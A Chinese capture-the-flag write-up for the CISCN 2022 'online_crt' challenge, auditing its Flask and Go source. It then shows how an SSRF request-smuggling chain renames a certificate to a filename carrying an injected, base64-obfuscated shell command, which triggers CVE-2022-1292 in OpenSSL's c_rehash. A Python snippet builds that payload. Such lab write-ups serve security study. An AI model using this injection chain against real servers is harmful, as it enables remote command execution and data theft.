[CISCN 2022 初赛]online_crt

文章目录


涉及知识点

  1. CVE-2022-1292漏洞
  2. OpenSSL
  3. ssrf

代码审计

app.py源码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

分析一下,采用的是flask模板,总计4个路由

  1. /根目录返回一个index.htmld的界面,也就是我们开题看到的界面
  2. /getcrt路由配合getcrt函数用来生成X509证书(了解一下就行,它会根据我们提交的信息创建一个.crt的证书文件,存入static/crt/目录下)
  3. /createlink路由,用来建立一个与我们刚才生成的.crt证书的链接,去访问它的内容
  4. /proxy路由,用来建立一个内网 8887端口的连接,与go源码部分进行对接,并将发送一段请求信息给go源码的部分进行处理

然后就是go源码

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

这一段代码比较重要的就是只要绕过if语句就可以修改我们指定的.crt后缀的证书文件名

本题漏洞

出在/createlink这个路由下的c_rehash指令,c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接,是当用户可控文件名时的命令注入

先知社区有参考文章分析

解题过程

我们先生成一个证书,然后记下它的文件名

然后通过访问 /proxy路由来打通与内容 go源码业务部分的连接,修改我们的证书文件名,并加上我们的命令执行RCE

payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

import urllib.parse
uri = '''/admin%2frename?oldname=f70b7466-77f3-46a8-b645-e5cb243d1225.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

访问/proxy,同时抓包修改请求方式为GET以及在uri参数后回车两次

然后利用/createlink调用c_rehash

访问路由,得到flag

相关推荐
网易独家音乐人Mike Zhou2 小时前
【卡尔曼滤波】数据预测Prediction观测器的理论推导及应用 C语言、Python实现(Kalman Filter)
c语言·python·单片机·物联网·算法·嵌入式·iot
安静读书2 小时前
Python解析视频FPS(帧率)、分辨率信息
python·opencv·音视频
小二·3 小时前
java基础面试题笔记(基础篇)
java·笔记·python
黑客Ash4 小时前
【D01】网络安全概论
网络·安全·web安全·php
小喵要摸鱼5 小时前
Python 神经网络项目常用语法
python
.Ayang6 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
一念之坤6 小时前
零基础学Python之数据结构 -- 01篇
数据结构·python
.Ayang6 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
网络安全-老纪7 小时前
iOS应用网络安全之HTTPS
web安全·ios·https